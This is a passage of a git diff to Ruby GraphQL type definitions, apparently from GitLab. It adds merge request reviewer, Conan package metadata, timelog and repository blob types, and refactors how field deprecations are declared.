diff --git a/app/graphql/types/concerns/find_closest.rb b/app/graphql/types/concerns/find_closest.rb
new file mode 100644
index 00000000000..1d76e872364
--- /dev/null
+++ b/app/graphql/types/concerns/find_closest.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module FindClosest
+ # Find the closest node of a given type above this node, and return the domain object
+ def closest_parent(type, parent)
+ parent = parent.try(:parent) while parent && parent.object.class != type
+ return unless parent
+
+ parent.object.object
+ end
+end
diff --git a/app/graphql/types/concerns/gitlab_style_deprecations.rb b/app/graphql/types/concerns/gitlab_style_deprecations.rb
index ad195354930..802562ed958 100644
--- a/app/graphql/types/concerns/gitlab_style_deprecations.rb
+++ b/app/graphql/types/concerns/gitlab_style_deprecations.rb
@@ -7,25 +7,21 @@ module GitlabStyleDeprecations
private
+ # Mutate the arguments, returns the deprecation
def gitlab_deprecation(kwargs)
if kwargs[:deprecation_reason].present?
raise ArgumentError, 'Use `deprecated` property instead of `deprecation_reason`. ' \
'See https://docs.gitlab.com/ee/development/api_graphql_styleguide.html#deprecating-fields-arguments-and-enum-values'
end
- deprecation = kwargs.delete(:deprecated)
- return kwargs unless deprecation
+ deprecation = ::Gitlab::Graphql::Deprecation.parse(kwargs.delete(:deprecated))
+ return unless deprecation
- milestone, reason = deprecation.values_at(:milestone, :reason).map(&:presence)
+ raise ArgumentError, "Bad deprecation. #{deprecation.errors.full_messages.to_sentence}" unless deprecation.valid?
- raise ArgumentError, 'Please provide a `milestone` within `deprecated`' unless milestone
- raise ArgumentError, 'Please provide a `reason` within `deprecated`' unless reason
- raise ArgumentError, '`milestone` must be a `String`' unless milestone.is_a?(String)
+ kwargs[:deprecation_reason] = deprecation.deprecation_reason
+ kwargs[:description] = deprecation.edit_description(kwargs[:description])
- deprecated_in = "Deprecated in #{milestone}"
- kwargs[:deprecation_reason] = "#{reason}. #{deprecated_in}."
- kwargs[:description] += " #{deprecated_in}: #{reason}." if kwargs[:description]
-
- kwargs
+ deprecation
end
end
diff --git a/app/graphql/types/global_id_type.rb b/app/graphql/types/global_id_type.rb
index 750bd1bfe8d..79061df7282 100644
--- a/app/graphql/types/global_id_type.rb
+++ b/app/graphql/types/global_id_type.rb
@@ -23,7 +23,7 @@ module Types
A global identifier.
A global identifier represents an object uniquely across the application.
- An example of such an identifier is "gid://gitlab/User/1".
+ An example of such an identifier is `"gid://gitlab/User/1"`.
Global identifiers are encoded as strings.
DESC
@@ -67,6 +67,17 @@ module Types
graphql_name
end
+ define_singleton_method(:as) do |new_name|
+ if @renamed && graphql_name != new_name
+ raise "Conflicting names for ID of #{model_class.name}: " \
+ "#{graphql_name} and #{new_name}"
+ end
+
+ @renamed = true
+ graphql_name(new_name)
+ self
+ end
+
define_singleton_method(:coerce_result) do |gid, ctx|
global_id = ::Gitlab::GlobalId.as_global_id(gid, model_name: model_class.name)
diff --git a/app/graphql/types/group_type.rb b/app/graphql/types/group_type.rb
index 7a84e76657b..a44281b2bdf 100644
--- a/app/graphql/types/group_type.rb
+++ b/app/graphql/types/group_type.rb
@@ -8,39 +8,65 @@ module Types
expose_permissions Types::PermissionTypes::Group
- field :web_url, GraphQL::STRING_TYPE, null: false,
+ field :web_url,
+ type: GraphQL::STRING_TYPE,
+ null: false,
description: 'Web URL of the group.'
- field :avatar_url, GraphQL::STRING_TYPE, null: true,
+ field :avatar_url,
+ type: GraphQL::STRING_TYPE,
+ null: true,
description: 'Avatar URL of the group.'
- field :custom_emoji, Types::CustomEmojiType.connection_type, null: true,
+ field :custom_emoji,
+ type: Types::CustomEmojiType.connection_type,
+ null: true,
description: 'Custom emoji within this namespace.',
feature_flag: :custom_emoji
- field :share_with_group_lock, GraphQL::BOOLEAN_TYPE, null: true,
+ field :share_with_group_lock,
+ type: GraphQL::BOOLEAN_TYPE,
+ null: true,
description: 'Indicates if sharing a project with another group within this group is prevented.'
- field :project_creation_level, GraphQL::STRING_TYPE, null: true, method: :project_creation_level_str,
+ field :project_creation_level,
+ type: GraphQL::STRING_TYPE,
+ null: true,
+ method: :project_creation_level_str,
description: 'The permission level required to create projects in the group.'
- field :subgroup_creation_level, GraphQL::STRING_TYPE, null: true, method: :subgroup_creation_level_str,
+ field :subgroup_creation_level,
+ type: GraphQL::STRING_TYPE,
+ null: true,
+ method: :subgroup_creation_level_str,
description: 'The permission level required to create subgroups within the group.'
- field :require_two_factor_authentication, GraphQL::BOOLEAN_TYPE, null: true,
+ field :require_two_factor_authentication,
+ type: GraphQL::BOOLEAN_TYPE,
+ null: true,
description: 'Indicates if all users in this group are required to set up two-factor authentication.'
- field :two_factor_grace_period, GraphQL::INT_TYPE, null: true,
+ field :two_factor_grace_period,
+ type: GraphQL::INT_TYPE,
+ null: true,
description: 'Time before two-factor authentication is enforced.'
- field :auto_devops_enabled, GraphQL::BOOLEAN_TYPE, null: true,
+ field :auto_devops_enabled,
+ type: GraphQL::BOOLEAN_TYPE,
+ null: true,
description: 'Indicates whether Auto DevOps is enabled for all projects within this group.'
- field :emails_disabled, GraphQL::BOOLEAN_TYPE, null: true,
+ field :emails_disabled,
+ type: GraphQL::BOOLEAN_TYPE,
+ null: true,
description: 'Indicates if a group has email notifications disabled.'
- field :mentions_disabled, GraphQL::BOOLEAN_TYPE, null: true,
+ field :mentions_disabled,
+ type: GraphQL::BOOLEAN_TYPE,
+ null: true,
description: 'Indicates if a group is disabled from getting mentioned.'
- field :parent, GroupType, null: true,
+ field :parent,
+ type: GroupType,
+ null: true,
description: 'Parent group.'
field :issues,
@@ -55,7 +81,7 @@ module Types
description: 'Merge requests for projects in this group.',
resolver: Resolvers::GroupMergeRequestsResolver
- field :milestones, Types::MilestoneType.connection_type, null: true,
+ field :milestones,
description: 'Milestones of the group.',
resolver: Resolvers::GroupMilestonesResolver
@@ -76,9 +102,10 @@ module Types
Types::LabelType,
null: true,
description: 'A label available on this group.' do
- argument :title, GraphQL::STRING_TYPE,
- required: true,
- description: 'Title of the label.'
+ argument :title,
+ type: GraphQL::STRING_TYPE,
+ required: true,
+ description: 'Title of the label.'
end
field :group_members,
@@ -92,7 +119,9 @@ module Types
resolver: Resolvers::ContainerRepositoriesResolver,
authorize: :read_container_image
- field :container_repositories_count, GraphQL::INT_TYPE, null: false,
+ field :container_repositories_count,
+ type: GraphQL::INT_TYPE,
+ null: false,
description: 'Number of container repositories in the group.'
field :packages,
@@ -114,6 +143,12 @@ module Types
description: 'Labels available on this group.',
resolver: Resolvers::GroupLabelsResolver
+ field :timelogs, ::Types::TimelogType.connection_type, null: false,
+ description: 'Time logged on issues in the group and its subgroups.',
+ extras: [:lookahead],
+ complexity: 5,
+ resolver: ::Resolvers::TimelogResolver
+
def avatar_url
object.avatar_url(only_path: false)
end
diff --git a/app/graphql/types/issue_type.rb b/app/graphql/types/issue_type.rb
index f15ab69f2d4..34c824fe9fb 100644
--- a/app/graphql/types/issue_type.rb
+++ b/app/graphql/types/issue_type.rb
@@ -124,6 +124,9 @@ module Types
field :create_note_email, GraphQL::STRING_TYPE, null: true,
description: 'User specific email address for the issue.'
+ field :timelogs, Types::TimelogType.connection_type, null: false,
+ description: 'Timelogs on the issue.'
+
def author
Gitlab::Graphql::Loaders::BatchModelLoader.new(User, object.author_id).find
end
diff --git a/app/graphql/types/issues/negated_issue_filter_input_type.rb b/app/graphql/types/issues/negated_issue_filter_input_type.rb
new file mode 100644
index 00000000000..10bf6f21792
--- /dev/null
+++ b/app/graphql/types/issues/negated_issue_filter_input_type.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Types
+ module Issues
+ class NegatedIssueFilterInputType < BaseInputObject
+ graphql_name 'NegatedIssueFilterInput'
+
+ argument :iids, [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'List of IIDs of issues to exclude. For example, [1, 2].'
+ argument :label_name, [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'Labels not applied to this issue.'
+ argument :milestone_title, [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'Milestone not applied to this issue.'
+ argument :assignee_usernames, [GraphQL::STRING_TYPE],
+ required: false,
+ description: 'Usernames of users not assigned to the issue.'
+ argument :assignee_id, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'ID of a user not assigned to the issues.'
+ end
+ end
+end
+
+Types::Issues::NegatedIssueFilterInputType.prepend_if_ee('::EE::Types::Issues::NegatedIssueFilterInputType')
diff --git a/app/graphql/types/jira_users_mapping_input_type.rb b/app/graphql/types/jira_users_mapping_input_type.rb
index 61e3240ecf3..32640b9cb17 100644
--- a/app/graphql/types/jira_users_mapping_input_type.rb
+++ b/app/graphql/types/jira_users_mapping_input_type.rb
@@ -5,12 +5,12 @@ module Types
graphql_name 'JiraUsersMappingInputType'
argument :jira_account_id,
- GraphQL::STRING_TYPE,
- required: true,
- description: 'Jira account ID of the user.'
+ GraphQL::STRING_TYPE,
+ required: true,
+ description: 'Jira account ID of the user.'
argument :gitlab_id,
- GraphQL::INT_TYPE,
- required: false,
- description: 'Id of the GitLab user.'
+ GraphQL::INT_TYPE,
+ required: false,
+ description: 'ID of the GitLab user.'
end
end
diff --git a/app/graphql/types/merge_request_review_state_enum.rb b/app/graphql/types/merge_request_review_state_enum.rb
new file mode 100644
index 00000000000..45f97758425
--- /dev/null
+++ b/app/graphql/types/merge_request_review_state_enum.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+module Types
+ class MergeRequestReviewStateEnum < BaseEnum
+ graphql_name 'MergeRequestReviewState'
+ description 'State of a review of a GitLab merge request.'
+
+ from_rails_enum(::MergeRequestReviewer.states,
+ description: "The merge request is %{name}.")
+ end
+end
diff --git a/app/graphql/types/merge_request_state_enum.rb b/app/graphql/types/merge_request_state_enum.rb
index a2d7bd0306c..bcf18b836de 100644
--- a/app/graphql/types/merge_request_state_enum.rb
+++ b/app/graphql/types/merge_request_state_enum.rb
@@ -5,6 +5,6 @@ module Types
graphql_name 'MergeRequestState'
description 'State of a GitLab merge request'
- value 'merged', description: "Merge Request has been merged."
+ value 'merged', description: "Merge request has been merged."
end
end
diff --git a/app/graphql/types/merge_request_type.rb b/app/graphql/types/merge_request_type.rb
index 449286915f2..c8ccf9d8aff 100644
--- a/app/graphql/types/merge_request_type.rb
+++ b/app/graphql/types/merge_request_type.rb
@@ -132,7 +132,10 @@ module Types
description: 'The milestone of the merge request.'
field :assignees, Types::UserType.connection_type, null: true, complexity: 5,
description: 'Assignees of the merge request.'
- field :reviewers, Types::UserType.connection_type, null: true, complexity: 5,
+ field :reviewers,
+ type: Types::MergeRequests::ReviewerType.connection_type,
+ null: true,
+ complexity: 5,
description: 'Users from whom a review has been requested.'
field :author, Types::UserType, null: true,
description: 'User who created this merge request.'
@@ -183,6 +186,8 @@ module Types
description: 'Selected auto merge strategy.'
field :merge_user, Types::UserType, null: true,
description: 'User who merged this merge request.'
+ field :timelogs, Types::TimelogType.connection_type, null: false,
+ description: 'Timelogs on the merge request.'
def approved_by
object.approved_by_users
diff --git a/app/graphql/types/merge_requests/reviewer_type.rb b/app/graphql/types/merge_requests/reviewer_type.rb
new file mode 100644
index 00000000000..09ced39844a
--- /dev/null
+++ b/app/graphql/types/merge_requests/reviewer_type.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+module Types
+ module MergeRequests
+ class ReviewerType < ::Types::UserType
+ include FindClosest
+
+ graphql_name 'MergeRequestReviewer'
+ description 'A user from whom a merge request review has been requested.'
+ authorize :read_user
+
+ field :merge_request_interaction,
+ type: ::Types::UserMergeRequestInteractionType,
+ null: true,
+ extras: [:parent],
+ description: "Details of this user's interactions with the merge request."
+
+ def merge_request_interaction(parent:)
+ merge_request = closest_parent(::Types::MergeRequestType, parent)
+ return unless merge_request
+
+ Users::MergeRequestInteraction.new(user: object, merge_request: merge_request)
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/milestone_type.rb b/app/graphql/types/milestone_type.rb
index c3816116e2b..91a5109c748 100644
--- a/app/graphql/types/milestone_type.rb
+++ b/app/graphql/types/milestone_type.rb
@@ -14,6 +14,9 @@ module Types
field :id, GraphQL::ID_TYPE, null: false,
description: 'ID of the milestone.'
+ field :iid, GraphQL::ID_TYPE, null: false,
+ description: "Internal ID of the milestone."
+
field :title, GraphQL::STRING_TYPE, null: false,
description: 'Title of the milestone.'
diff --git a/app/graphql/types/mutation_operation_mode_enum.rb b/app/graphql/types/mutation_operation_mode_enum.rb
index 75c1d7cd4a6..08214eebc7e 100644
--- a/app/graphql/types/mutation_operation_mode_enum.rb
+++ b/app/graphql/types/mutation_operation_mode_enum.rb
@@ -10,5 +10,13 @@ module Types
value 'REPLACE', 'Performs a replace operation.'
value 'APPEND', 'Performs an append operation.'
value 'REMOVE', 'Performs a removal operation.'
+
+ def self.default_mode
+ enum[:replace]
+ end
+
+ def self.transform_modes
+ enum.values_at(:remove, :append)
+ end
end
end
diff --git a/app/graphql/types/mutation_type.rb b/app/graphql/types/mutation_type.rb
index 76ffddf416f..5a9c7b32deb 100644
--- a/app/graphql/types/mutation_type.rb
+++ b/app/graphql/types/mutation_type.rb
@@ -68,6 +68,7 @@ module Types
mount_mutation Mutations::Releases::Delete
mount_mutation Mutations::ReleaseAssetLinks::Create
mount_mutation Mutations::ReleaseAssetLinks::Update
+ mount_mutation Mutations::ReleaseAssetLinks::Delete
mount_mutation Mutations::Terraform::State::Delete
mount_mutation Mutations::Terraform::State::Lock
mount_mutation Mutations::Terraform::State::Unlock
diff --git a/app/graphql/types/packages/conan/file_metadatum_type.rb b/app/graphql/types/packages/conan/file_metadatum_type.rb
new file mode 100644
index 00000000000..97d5abe6ba4
--- /dev/null
+++ b/app/graphql/types/packages/conan/file_metadatum_type.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ module Conan
+ class FileMetadatumType < BaseObject
+ graphql_name 'ConanFileMetadata'
+ description 'Conan file metadata'
+
+ implements Types::Packages::FileMetadataType
+
+ authorize :read_package
+
+ field :id, ::Types::GlobalIDType[::Packages::Conan::FileMetadatum], null: false, description: 'ID of the metadatum.'
+ field :recipe_revision, GraphQL::STRING_TYPE, null: false, description: 'Revision of the Conan recipe.'
+ field :package_revision, GraphQL::STRING_TYPE, null: true, description: 'Revision of the package.'
+ field :conan_package_reference, GraphQL::STRING_TYPE, null: true, description: 'Reference of the Conan package.'
+ field :conan_file_type, ::Types::Packages::Conan::MetadatumFileTypeEnum, null: false, description: 'Type of the Conan file.'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/packages/conan/metadatum_file_type_enum.rb b/app/graphql/types/packages/conan/metadatum_file_type_enum.rb
new file mode 100644
index 00000000000..d8ec3a44d4d
--- /dev/null
+++ b/app/graphql/types/packages/conan/metadatum_file_type_enum.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ module Conan
+ class MetadatumFileTypeEnum < BaseEnum
+ graphql_name 'ConanMetadatumFileTypeEnum'
+ description 'Conan file types'
+
+ ::Packages::Conan::FileMetadatum.conan_file_types.keys.each do |file|
+ value file.upcase, value: file, description: "A #{file.humanize(capitalize: false)} type."
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/packages/conan/metadatum_type.rb b/app/graphql/types/packages/conan/metadatum_type.rb
new file mode 100644
index 00000000000..00b84235d27
--- /dev/null
+++ b/app/graphql/types/packages/conan/metadatum_type.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ module Conan
+ class MetadatumType < BaseObject
+ graphql_name 'ConanMetadata'
+ description 'Conan metadata'
+
+ authorize :read_package
+
+ field :id, ::Types::GlobalIDType[::Packages::Conan::Metadatum], null: false, description: 'ID of the metadatum.'
+ field :created_at, Types::TimeType, null: false, description: 'Date of creation.'
+ field :updated_at, Types::TimeType, null: false, description: 'Date of most recent update.'
+ field :package_username, GraphQL::STRING_TYPE, null: false, description: 'Username of the Conan package.'
+ field :package_channel, GraphQL::STRING_TYPE, null: false, description: 'Channel of the Conan package.'
+ field :recipe, GraphQL::STRING_TYPE, null: false, description: 'Recipe of the Conan package.'
+ field :recipe_path, GraphQL::STRING_TYPE, null: false, description: 'Recipe path of the Conan package.'
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/packages/file_metadata_type.rb b/app/graphql/types/packages/file_metadata_type.rb
new file mode 100644
index 00000000000..46ccb424218
--- /dev/null
+++ b/app/graphql/types/packages/file_metadata_type.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ module FileMetadataType
+ include ::Types::BaseInterface
+ graphql_name 'PackageFileMetadata'
+ description 'Represents metadata associated with a Package file'
+
+ field :created_at, ::Types::TimeType, null: false, description: 'Date of creation.'
+ field :updated_at, ::Types::TimeType, null: false, description: 'Date of most recent update.'
+
+ def self.resolve_type(object, context)
+ case object
+ when ::Packages::Conan::FileMetadatum
+ ::Types::Packages::Conan::FileMetadatumType
+ else
+ # NOTE: This method must be kept in sync with `PackageFileType#file_metadata`,
+ # which must never produce data that this discriminator cannot handle.
+ raise 'Unsupported file metadata type'
+ end
+ end
+
+ orphan_types Types::Packages::Conan::FileMetadatumType
+ end
+ end
+end
diff --git a/app/graphql/types/packages/metadata_type.rb b/app/graphql/types/packages/metadata_type.rb
index 26c43b51a69..4ab6707df88 100644
--- a/app/graphql/types/packages/metadata_type.rb
+++ b/app/graphql/types/packages/metadata_type.rb
@@ -6,12 +6,14 @@ module Types
graphql_name 'PackageMetadata'
description 'Represents metadata associated with a Package'
- possible_types ::Types::Packages::Composer::MetadatumType
+ possible_types ::Types::Packages::Composer::MetadatumType, ::Types::Packages::Conan::MetadatumType
def self.resolve_type(object, context)
case object
when ::Packages::Composer::Metadatum
::Types::Packages::Composer::MetadatumType
+ when ::Packages::Conan::Metadatum
+ ::Types::Packages::Conan::MetadatumType
else
# NOTE: This method must be kept in sync with `PackageWithoutVersionsType#metadata`,
# which must never produce data that this discriminator cannot handle.
diff --git a/app/graphql/types/packages/package_details_type.rb b/app/graphql/types/packages/package_details_type.rb
new file mode 100644
index 00000000000..510b7e2ba41
--- /dev/null
+++ b/app/graphql/types/packages/package_details_type.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ class PackageDetailsType < PackageType
+ graphql_name 'PackageDetailsType'
+ description 'Represents a package details in the Package Registry. Note that this type is in beta and susceptible to changes'
+ authorize :read_package
+
+ field :versions, ::Types::Packages::PackageType.connection_type, null: true,
+ description: 'The other versions of the package.'
+
+ field :package_files, Types::Packages::PackageFileType.connection_type, null: true, description: 'Package files.'
+
+ def versions
+ object.versions
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/packages/package_file_type.rb b/app/graphql/types/packages/package_file_type.rb
new file mode 100644
index 00000000000..e9e38559626
--- /dev/null
+++ b/app/graphql/types/packages/package_file_type.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Types
+ module Packages
+ class PackageFileType < BaseObject
+ graphql_name 'PackageFile'
+ description 'Represents a package file'
+ authorize :read_package
+
+ field :id, ::Types::GlobalIDType[::Packages::PackageFile], null: false, description: 'ID of the file.'
+ field :created_at, Types::TimeType, null: false, description: 'The created date.'
+ field :updated_at, Types::TimeType, null: false, description: 'The updated date.'
+ field :size, GraphQL::STRING_TYPE, null: false, description: 'Size of the package file.'
+ field :file_name, GraphQL::STRING_TYPE, null: false, description: 'Name of the package file.'
+ field :download_path, GraphQL::STRING_TYPE, null: false, description: 'Download path of the package file.'
+ field :file_md5, GraphQL::STRING_TYPE, null: true, description: 'Md5 of the package file.'
+ field :file_sha1, GraphQL::STRING_TYPE, null: true, description: 'Sha1 of the package file.'
+ field :file_sha256, GraphQL::STRING_TYPE, null: true, description: 'Sha256 of the package file.'
+ field :file_metadata, Types::Packages::FileMetadataType, null: true,
+ description: 'File metadata.'
+
+ # NOTE: This method must be kept in sync with the union
+ # type: `Types::Packages::FileMetadataType`.
+ #
+ # `Types::Packages::FileMetadataType.resolve_type(metadata, ctx)` must never raise.
+ def file_metadata
+ case object.package.package_type
+ when 'conan'
+ object.conan_file_metadatum
+ else
+ nil
+ end
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/packages/package_type.rb b/app/graphql/types/packages/package_type.rb
index 331898a1e84..a263ca1577a 100644
--- a/app/graphql/types/packages/package_type.rb
+++ b/app/graphql/types/packages/package_type.rb
@@ -2,13 +2,52 @@
module Types
module Packages
- class PackageType < PackageWithoutVersionsType
+ class PackageType < ::Types::BaseObject
graphql_name 'Package'
- description 'Represents a package in the Package Registry'
+ description 'Represents a package in the Package Registry. Note that this type is in beta and susceptible to changes'
+
authorize :read_package
- field :versions, ::Types::Packages::PackageWithoutVersionsType.connection_type, null: true,
- description: 'The other versions of the package.'
+ field :id, ::Types::GlobalIDType[::Packages::Package], null: false,
+ description: 'ID of the package.'
+
+ field :name, GraphQL::STRING_TYPE, null: false, description: 'Name of the package.'
+ field :created_at, Types::TimeType, null: false, description: 'Date of creation.'
+ field :updated_at, Types::TimeType, null: false, description: 'Date of most recent update.'
+ field :version, GraphQL::STRING_TYPE, null: true, description: 'Version string.'
+ field :package_type, Types::Packages::PackageTypeEnum, null: false, description: 'Package type.'
+ field :tags, Types::Packages::PackageTagType.connection_type, null: true, description: 'Package tags.'
+ field :project, Types::ProjectType, null: false, description: 'Project where the package is stored.'
+ field :pipelines, Types::Ci::PipelineType.connection_type, null: true,
+ description: 'Pipelines that built the package.'
+ field :metadata, Types::Packages::MetadataType, null: true,
+ description: 'Package metadata.'
+ field :versions, ::Types::Packages::PackageType.connection_type, null: true,
+ description: 'The other versions of the package.',
+ deprecated: { reason: 'This field is now only returned in the PackageDetailsType', milestone: '13.11' }
+
+ def project
+ Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.project_id).find
+ end
+
+ def versions
+ []
+ end
+
+ # NOTE: This method must be kept in sync with the union
+ # type: `Types::Packages::MetadataType`.
+ #
+ # `Types::Packages::MetadataType.resolve_type(metadata, ctx)` must never raise.
+ def metadata
+ case object.package_type
+ when 'composer'
+ object.composer_metadatum
+ when 'conan'
+ object.conan_metadatum
+ else
+ nil
+ end
+ end
end
end
end
diff --git a/app/graphql/types/packages/package_without_versions_type.rb b/app/graphql/types/packages/package_without_versions_type.rb
deleted file mode 100644
index 9c6bb37e6cc..00000000000
--- a/app/graphql/types/packages/package_without_versions_type.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-# frozen_string_literal: true
-
-module Types
- module Packages
- class PackageWithoutVersionsType < ::Types::BaseObject
- graphql_name 'PackageWithoutVersions'
- description 'Represents a version of a package in the Package Registry'
-
- authorize :read_package
-
- field :id, ::Types::GlobalIDType[::Packages::Package], null: false,
- description: 'ID of the package.'
-
- field :name, GraphQL::STRING_TYPE, null: false, description: 'Name of the package.'
- field :created_at, Types::TimeType, null: false, description: 'Date of creation.'
- field :updated_at, Types::TimeType, null: false, description: 'Date of most recent update.'
- field :version, GraphQL::STRING_TYPE, null: true, description: 'Version string.'
- field :package_type, Types::Packages::PackageTypeEnum, null: false, description: 'Package type.'
- field :tags, Types::Packages::PackageTagType.connection_type, null: true, description: 'Package tags.'
- field :project, Types::ProjectType, null: false, description: 'Project where the package is stored.'
- field :pipelines, Types::Ci::PipelineType.connection_type, null: true,
- description: 'Pipelines that built the package.'
- field :metadata, Types::Packages::MetadataType, null: true,
- description: 'Package metadata.'
-
- def project
- Gitlab::Graphql::Loaders::BatchModelLoader.new(Project, object.project_id).find
- end
-
- # NOTE: This method must be kept in sync with the union
- # type: `Types::Packages::MetadataType`.
- #
- # `Types::Packages::MetadataType.resolve_type(metadata, ctx)` must never raise.
- def metadata
- case object.package_type
- when 'composer'
- object.composer_metadatum
- else
- nil
- end
- end
- end
- end
-end
diff --git a/app/graphql/types/project_type.rb b/app/graphql/types/project_type.rb
index 9a3f2e311e6..21534f40499 100644
--- a/app/graphql/types/project_type.rb
+++ b/app/graphql/types/project_type.rb
@@ -183,6 +183,12 @@ module Types
description: 'Packages of the project.',
resolver: Resolvers::ProjectPackagesResolver
+ field :jobs,
+ Types::Ci::JobType.connection_type,
+ null: true,
+ description: 'Jobs of a project. This field can only be resolved for one project in any single request.',
+ resolver: Resolvers::ProjectJobsResolver
+
field :pipelines,
null: true,
description: 'Build pipelines of the project.',
diff --git a/app/graphql/types/query_type.rb b/app/graphql/types/query_type.rb
index 74818bfcd42..8af0db644dd 100644
--- a/app/graphql/types/query_type.rb
+++ b/app/graphql/types/query_type.rb
@@ -55,7 +55,10 @@ module Types
field :container_repository, Types::ContainerRepositoryDetailsType,
null: true,
description: 'Find a container repository.' do
- argument :id, ::Types::GlobalIDType[::ContainerRepository], required: true, description: 'The global ID of the container repository.'
+ argument :id,
+ type: ::Types::GlobalIDType[::ContainerRepository],
+ required: true,
+ description: 'The global ID of the container repository.'
end
field :package,
@@ -72,9 +75,7 @@ module Types
description: 'Find users.',
resolver: Resolvers::UsersResolver
- field :echo, GraphQL::STRING_TYPE, null: false,
- description: 'Text to echo back.',
- resolver: Resolvers::EchoResolver
+ field :echo, resolver: Resolvers::EchoResolver
field :issue, Types::IssueType,
null: true,
@@ -82,11 +83,16 @@ module Types
argument :id, ::Types::GlobalIDType[::Issue], required: true, description: 'The global ID of the Issue.'
end
- field :instance_statistics_measurements, Types::Admin::Analytics::UsageTrends::MeasurementType.connection_type,
+ field :instance_statistics_measurements,
+ type: Types::Admin::Analytics::UsageTrends::MeasurementType.connection_type,
null: true,
description: 'Get statistics on the instance.',
- deprecated: { reason: 'This field was renamed. Use the `usageTrendsMeasurements` field instead', milestone: '13.10' },
- resolver: Resolvers::Admin::Analytics::UsageTrends::MeasurementsResolver
+ resolver: Resolvers::Admin::Analytics::UsageTrends::MeasurementsResolver,
+ deprecated: {
+ reason: :renamed,
+ replacement: 'Query.usageTrendsMeasurements',
+ milestone: '13.10'
+ }
field :usage_trends_measurements, Types::Admin::Analytics::UsageTrends::MeasurementType.connection_type,
null: true,
@@ -97,18 +103,10 @@ module Types
null: true,
description: 'CI related settings that apply to the entire instance.'
- field :runner_platforms, Types::Ci::RunnerPlatformType.connection_type,
- null: true, description: 'Supported runner platforms.',
- resolver: Resolvers::Ci::RunnerPlatformsResolver
-
- field :runner_setup, Types::Ci::RunnerSetupType, null: true,
- description: 'Get runner setup instructions.',
- resolver: Resolvers::Ci::RunnerSetupResolver
+ field :runner_platforms, resolver: Resolvers::Ci::RunnerPlatformsResolver
+ field :runner_setup, resolver: Resolvers::Ci::RunnerSetupResolver
- field :ci_config, Types::Ci::Config::ConfigType, null: true,
- description: 'Get linted and processed contents of a CI config. Should not be requested more than once per request.',
- resolver: Resolvers::Ci::ConfigResolver,
- complexity: 126 # AUTHENTICATED_COMPLEXITY / 2 + 1
+ field :ci_config, resolver: Resolvers::Ci::ConfigResolver, complexity: 126 # AUTHENTICATED_COMPLEXITY / 2 + 1
def design_management
DesignManagementObject.new(nil)
diff --git a/app/graphql/types/repository/blob_type.rb b/app/graphql/types/repository/blob_type.rb
new file mode 100644
index 00000000000..912fc5f643a
--- /dev/null
+++ b/app/graphql/types/repository/blob_type.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+module Types
+ module Repository
+ # rubocop: disable Graphql/AuthorizeTypes
+ # This is presented through `Repository` that has its own authorization
+ class BlobType < BaseObject
+ present_using BlobPresenter
+
+ graphql_name 'RepositoryBlob'
+
+ field :id, GraphQL::ID_TYPE, null: false,
+ description: 'ID of the blob.'
+
+ field :oid, GraphQL::STRING_TYPE, null: false, method: :id,
+ description: 'OID of the blob.'
+
+ field :path, GraphQL::STRING_TYPE, null: false,
+ description: 'Path of the blob.'
+
+ field :name, GraphQL::STRING_TYPE,
+ description: 'Blob name.',
+ null: true
+
+ field :mode, type: GraphQL::STRING_TYPE,
+ description: 'Blob mode.',
+ null: true
+
+ field :lfs_oid, GraphQL::STRING_TYPE, null: true,
+ calls_gitaly: true,
+ description: 'LFS OID of the blob.'
+
+ field :web_path, GraphQL::STRING_TYPE, null: true,
+ description: 'Web path of the blob.'
+
+ def lfs_oid
+ Gitlab::Graphql::Loaders::BatchLfsOidLoader.new(object.repository, object.id).find
+ end
+ end
+ end
+end
diff --git a/app/graphql/types/repository_type.rb b/app/graphql/types/repository_type.rb
index e319a5f3124..963a4296c4f 100644
--- a/app/graphql/types/repository_type.rb
+++ b/app/graphql/types/repository_type.rb
@@ -14,5 +14,10 @@ module Types
description: 'Indicates a corresponding Git repository exists on disk.'
field :tree, Types::Tree::TreeType, null: true, resolver: Resolvers::TreeResolver, calls_gitaly: true,
description: 'Tree of the repository.'
+ field :blobs, Types::Repository::BlobType.connection_type, null: true, resolver: Resolvers::BlobsResolver, calls_gitaly: true,
+ description: 'Blobs contained within the repository'
+ field :branch_names, [GraphQL::STRING_TYPE], null: true, calls_gitaly: true,
+ complexity: 170, description: 'Names of branches available in this repository that match the search pattern.',
+ resolver: Resolvers::RepositoryBranchNamesResolver
end
end
diff --git a/app/graphql/types/sort_enum.rb b/app/graphql/types/sort_enum.rb
index ff994039b6d..cc04394004d 100644
--- a/app/graphql/types/sort_enum.rb
+++ b/app/graphql/types/sort_enum.rb
@@ -7,10 +7,34 @@ module Types
# Deprecated, as we prefer uppercase enums
# https://gitlab.com/groups/gitlab-org/-/epics/1838
- value 'updated_desc', 'Updated at descending order.', value: :updated_desc, deprecated: { reason: 'Use UPDATED_DESC', milestone: '13.5' }
- value 'updated_asc', 'Updated at ascending order.', value: :updated_asc, deprecated: { reason: 'Use UPDATED_ASC', milestone: '13.5' }
- value 'created_desc', 'Created at descending order.', value: :created_desc, deprecated: { reason: 'Use CREATED_DESC', milestone: '13.5' }
